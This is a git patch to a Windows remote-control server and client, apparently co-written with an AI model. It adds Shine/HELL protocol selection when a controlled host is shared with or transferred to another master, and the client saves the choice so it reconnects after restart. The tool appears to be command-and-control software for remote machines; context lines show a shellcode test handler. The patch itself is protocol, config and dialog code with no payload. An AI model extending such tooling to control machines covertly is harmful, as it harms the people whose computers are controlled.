From e9d60e6e23ea3dc134926b540f09e73566edb1ce Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 11 Sep 2026 12:48:27 +0200 Subject: [PATCH] Feature: Add Shine/HELL protocol selection to share/transfer host Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default checked) so the operator can choose Shine (0) or HELL (1) when sharing or transferring a host. The chosen protocol is appended to the wire payload as a trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for transfer. The client parses the trailing field from COMMAND_SHARE and COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so auto-share/auto-transfer on restart keeps the same protocol. Old clients ignore the extra field, and old/missing payloads fall back to -1 (baked-in HELL), preserving compatibility with existing servers and share_list entries. Co-Authored-By: deepseek-v4-pro --- client/ClientDll.cpp | 11 +- client/ClientDll.h | 2 +- client/KernelManager.cpp | 15 ++- server/2015Remote/2015Remote.rc | Bin 171266 -> 172836 bytes server/2015Remote/2015RemoteDlg.cpp | 25 ++-- server/2015Remote/2015Remote_vs2015.vcxproj | 2 + .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/ShareHostDlg.cpp | 125 ++++++++++++++++++ server/2015Remote/ShareHostDlg.h | 45 +++++++ server/2015Remote/lang/en_US.ini | 1 + server/2015Remote/lang/zh_TW.ini | 1 + server/2015Remote/resource.h | 11 +- 12 files changed, 223 insertions(+), 17 deletions(-) create mode 100644 server/2015Remote/ShareHostDlg.cpp create mode 100644 server/2015Remote/ShareHostDlg.h diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index d55f110..a26e8d8 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -66,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp) return S_CLIENT_NORMAL == This->g_bExit; } -ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) +ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc) { auto v = StringToVector(remoteAddr, ':', 2); if (v[0].empty() || v[1].empty()) return nullptr; auto a = new ClientApp(g_MyApp.g_Connection, run, shared); a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); + if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL) + a->g_Connection->iHeaderEnc = headerEnc; return a; } @@ -597,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam) auto saved_ip = cfg.GetStr("settings", "master"); auto saved_port = cfg.GetInt("settings", "port"); settings.SetServer(saved_ip.c_str(), saved_port); + auto saved_proto = cfg.GetStr("settings", "master_proto"); + if (saved_proto == "0" || saved_proto == "1") + settings.iHeaderEnc = atoi(saved_proto.c_str()); Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, int(valid_to-now)); } @@ -617,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam) auto a = cfg.GetStr("settings", "share_list"); auto shareList = a.empty() ? std::vector{} : StringToVector(a, '|'); for (int i = 0; i < shareList.size(); ++i) { - auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE); + auto v = StringToVector(shareList[i], ':', 3); + int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1; + auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto); if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str()); } diff --git a/client/ClientDll.h b/client/ClientDll.h index abfdf3f..274b6c5 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -130,7 +130,7 @@ public: } }; -ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); +ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1); // å�¯åŠ¨æ ¸å¿ƒçº¿ç¨‹ï¼Œå�‚数为:ClientApp DWORD WINAPI StartClient(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 71d9bab..60d4975 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1019,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SHARE: case COMMAND_ASSIGN_MASTER: if (ulLength > 2) { + // è§£æž�末尾å��议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值) + int shareProto = -1; + { + auto pv = StringToVector((char*)szBuffer + 2, ':', 5); + if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1")) + shareProto = atoi(pv[2].c_str()); + else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1")) + shareProto = atoi(pv[3].c_str()); + } switch (szBuffer[1]) { case SHARE_TYPE_YAMA_FOREVER: { auto v = StringToVector((char*)szBuffer + 2, ':', 3); @@ -1029,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (now <= valid_to) break; // Avoid assign again m_cfg->SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "port", v[1]); + if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL) + m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto)); float days = atof(v[2].c_str()); if (days > 0) { auto valid_to = time(0) + days*86400; @@ -1047,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (v[0].empty() || v[1].empty()) break; auto share = v[0] + ":" + v[1]; + if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL) + share += ":" + std::to_string(shareProto); auto list = m_cfg->GetStr("settings", "share_list"); auto shareList = list.empty() ? std::vector{} : StringToVector(list, '|'); if (VectorContains(shareList, share)) break; @@ -1054,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|')); Mprintf("Share client to new master: %s\n", share.c_str()); } - auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); + auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); break; } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 6dd95fefe3ae35c7151f9ff8e21b73865a564b80..f87dacbbb3c374e1e390658de4b6c404d2e0bcb5 100644 GIT binary patch delta 331 zcmZqL#kJ%Z*9L>h(;rkbvhX@G1TnZW#4~s>_%j4gR_y)E!4|aI&)Ux_eNt%JB#v+ws+-FvIx}fTPF`T7fW_%=CrVDPi&JSfn7rL!GNZ@|ZkWG;p)`GA3RCWO JhiIlljsWn?ShxTH delta 29 lcmZ2-jH_uE*9L>h( #include "KeyBoardDlg.h" #include "InputDlg.h" +#include "ShareHostDlg.h" #include "CPasswordDlg.h" #include "FeatureFlags.h" #include "FeatureLimitsDlg.h" @@ -7903,7 +7904,7 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) void CMy2015RemoteDlg::OnOnlineShare() { - CInputDialog dlg(this); + CShareHostDlg dlg(this, FALSE); dlg.Init(_TR("分享主机"), _TR("输入地å�€:")); dlg.SetHistoryKey("ShareAddress"); if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) @@ -7912,9 +7913,10 @@ void CMy2015RemoteDlg::OnOnlineShare() MessageBoxL("字符串长度超出[0, 250]范围é™�制!", "æ��示", MB_ICONINFORMATION); return; } - CharMsg* buf = new CharMsg(dlg.m_str.GetLength()+1); - memcpy(buf->data, dlg.m_str, dlg.m_str.GetLength()); - buf->data[dlg.m_str.GetLength()] = 0; + CString payload = dlg.m_str + _T(":") + (dlg.m_bShine ? _T("0") : _T("1")); + CharMsg* buf = new CharMsg(payload.GetLength()+1); + memcpy(buf->data, payload, payload.GetLength()); + buf->data[payload.GetLength()] = 0; PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL); } @@ -9779,26 +9781,27 @@ void CMy2015RemoteDlg::OnShellcodeTestAesBin() void CMy2015RemoteDlg::OnOnlineAssignTo() { - CInputDialog dlg(this); + CShareHostDlg dlg(this, TRUE); dlg.Init(_TR("转移主机(到期自动å¤�原)"), _TR("输入地å�€:")); dlg.SetHistoryKey("ShareAddress"); - dlg.Init2(_TR("天数(支æŒ�浮点数):"), "30"); - if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0) + dlg.InitDays(_TR("天数(支æŒ�浮点数):"), "30"); + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sDays.GetString())<=0) return; if (dlg.m_str.GetLength() >= 250) { MessageBoxL("字符串长度超出[0, 250]范围é™�制!", "æ��示", MB_ICONINFORMATION); return; } - if (dlg.m_sSecondInput.GetLength() >= 6) { + if (dlg.m_sDays.GetLength() >= 6) { MessageBoxL("超出使用时间å�¯è¾“入的字符数é™�制!", "æ��示", MB_ICONINFORMATION); return; } + CString daysProto = dlg.m_sDays + _T(":") + (dlg.m_bShine ? _T("0") : _T("1")); CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1); - CharMsg* buf2 = new CharMsg(dlg.m_sSecondInput.GetLength() + 1); + CharMsg* buf2 = new CharMsg(daysProto.GetLength() + 1); memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength()); - memcpy(buf2->data, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength()); + memcpy(buf2->data, daysProto, daysProto.GetLength()); buf1->data[dlg.m_str.GetLength()] = 0; - buf2->data[dlg.m_sSecondInput.GetLength()] = 0; + buf2->data[daysProto.GetLength()] = 0; PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2); } diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 62d22c9..36065d0 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -334,6 +334,7 @@ + @@ -462,6 +463,7 @@ + NotUsing NotUsing diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 4ae1c0e..d6ffe7d 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -76,6 +76,7 @@ + @@ -181,6 +182,7 @@ + diff --git a/server/2015Remote/ShareHostDlg.cpp b/server/2015Remote/ShareHostDlg.cpp new file mode 100644 index 0000000..b06ea54 --- /dev/null +++ b/server/2015Remote/ShareHostDlg.cpp @@ -0,0 +1,125 @@ +// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对è¯�框实现 +// + +#include "stdafx.h" +#include "ShareHostDlg.h" +#include "2015Remote.h" +#include + +CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/) + : CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent) + , m_bNeedDays(bNeedDays) + , m_bShine(TRUE) +{ +} + +CShareHostDlg::~CShareHostDlg() +{ +} + +void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt) +{ + m_sCaption = caption; + m_sPrompt = prompt; +} + +void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue) +{ + m_sDaysName = name; + m_sDays = defaultValue; +} + +void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey) +{ + m_sHistoryKey = historyKey; +} + +void CShareHostDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogLangEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput); + DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays); + DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays); + DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine); +} + +BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx) +END_MESSAGE_MAP() + +BOOL CShareHostDlg::OnInitDialog() +{ + CDialogLangEx::OnInitDialog(); + + SetWindowText(m_sCaption); + SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt); + SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine å��è®®(兼容 Go æœ�务端)")); + SetDlgItemText(IDOK, _TR("确定")); + SetDlgItemText(IDCANCEL, _TR("å�–消")); + + // 天数(仅转移主机显示) + m_StaticDays.SetWindowTextA(m_sDaysName); + m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE); + m_EditDays.SetWindowTextA(m_sDays); + m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE); + + // 默认勾选 Shine + m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED); + + LoadHistory(); + m_ComboInput.SetWindowText(m_str); + + return TRUE; +} + +void CShareHostDlg::OnOK() +{ + m_ComboInput.GetWindowText(m_str); + m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED); + if (m_bNeedDays) + m_EditDays.GetWindowText(m_sDays); + + SaveHistory(); + CDialogLangEx::OnOK(); +} + +void CShareHostDlg::LoadHistory() +{ + if (m_sHistoryKey.IsEmpty()) return; + + std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString()); + if (history.empty()) return; + + auto items = StringToVector(history, '|'); + for (size_t i = 0; i < items.size() && i < 16; i++) { + if (!items[i].empty()) { + m_ComboInput.AddString(items[i].c_str()); + } + } +} + +void CShareHostDlg::SaveHistory() +{ + if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return; + + std::string newValue = m_str.GetString(); + if (newValue.find('|') != std::string::npos) return; + + std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString()); + auto items = StringToVector(history, '|'); + + items.erase(std::remove(items.begin(), items.end(), newValue), items.end()); + items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end()); + + items.insert(items.begin(), newValue); + + if (items.size() > 16) { + items.resize(16); + } + + std::string result; + for (size_t i = 0; i < items.size(); i++) { + if (i > 0) result += '|'; + result += items[i]; + } + THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result); +} diff --git a/server/2015Remote/ShareHostDlg.h b/server/2015Remote/ShareHostDlg.h new file mode 100644 index 0000000..753bb17 --- /dev/null +++ b/server/2015Remote/ShareHostDlg.h @@ -0,0 +1,45 @@ +#pragma once + +#include "resource.h" +#include "LangManager.h" + +// 分享主机 / 转移主机 专用对è¯�框(带 Shine/HELL å��议勾选) + +class CShareHostDlg : public CDialogLangEx +{ +public: + CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE); + virtual ~CShareHostDlg(); + + enum { IDD = IDD_DIALOG_SHARE_HOST }; + + void Init(LPCTSTR caption, LPCTSTR prompt); + void InitDays(LPCTSTR name, LPCTSTR defaultValue); // 仅转移主机显示 + void SetHistoryKey(LPCTSTR historyKey); + + // 结果 + CString m_str; // 地å�€ IP:PORT + CString m_sDays; // 天数(转移主机) + BOOL m_bShine; // TRUE=Shine(0), FALSE=HELL(1) + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + virtual BOOL OnInitDialog(); + virtual void OnOK(); + + DECLARE_MESSAGE_MAP() + + CString m_sCaption; + CString m_sPrompt; + CString m_sDaysName; + CString m_sHistoryKey; + BOOL m_bNeedDays; + + CComboBox m_ComboInput; + CStatic m_StaticDays; + CEdit m_EditDays; + CButton m_CheckShine; + + void LoadHistory(); + void SaveHistory(); +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 9be94b0..b0f6f62 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -390,6 +390,7 @@ Rar ¿Í»§¹ÜÀí=Client Mgmt ×ªÒÆÖ÷»ú=Transfer Host ·ÖÏíÖ÷»ú=Share Host +ʹÓà Shine ЭÒé(¼æÈÝ Go ·þÎñ¶Ë)=Use Shine protocol (Go-server compatible) È¡Ïû·ÖÏí=Cancel Sharing È·¶¨È¡Ïû·ÖÏíÖ÷»ú? ½«³·ÏúÈ«²¿µÄ·ÖÏíÁ´½Ó¡£=Cancel sharing clients? This will remove all share links. ɾ³ýÖ÷»ú=Delete Host diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 4c95044..19576ee 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -390,6 +390,7 @@ Rar ¿Í»§¹ÜÀí=ÓÑô¹ÜÀí ×ªÒÆÖ÷»ú=ÞDÒÆÖ÷™C ·ÖÏíÖ÷»ú=·ÖÏíÖ÷™C +ʹÓà Shine ЭÒé(¼æÈÝ Go ·þÎñ¶Ë)=ʹÓà Shine …f×h(ÏàÈÝ Go ËÅ·þÆ÷) È¡Ïû·ÖÏí=È¡Ïû·ÖÏí È·¶¨È¡Ïû·ÖÏíÖ÷»ú? ½«³·ÏúÈ«²¿µÄ·ÖÏíÁ´½Ó¡£=È·¶¨È¡Ïû·ÖÏíÖ÷»ú? ½«³·ÏúÈ«²¿µÄ·ÖÏíÁ´½Ó¡£ ɾ³ýÖ÷»ú=„h³ýÖ÷™C diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index ef7fdcc..e02becc 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1049,13 +1049,20 @@ #define IDC_PLEVEL_QUALITY 2578 #define IDC_PLEVEL_RESET 2584 +#define IDD_DIALOG_SHARE_HOST 402 +#define IDC_STATIC_SHARE_ADDRESS 2585 +#define IDC_EDIT_SHARE_ADDRESS 2586 +#define IDC_CHECK_USE_SHINE 2587 +#define IDC_STATIC_SHARE_DAYS 2588 +#define IDC_EDIT_SHARE_DAYS 2589 + // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 401 +#define _APS_NEXT_RESOURCE_VALUE 403 #define _APS_NEXT_COMMAND_VALUE 33085 -#define _APS_NEXT_CONTROL_VALUE 2585 +#define _APS_NEXT_CONTROL_VALUE 2590 #define _APS_NEXT_SYMED_VALUE 105 #endif #endif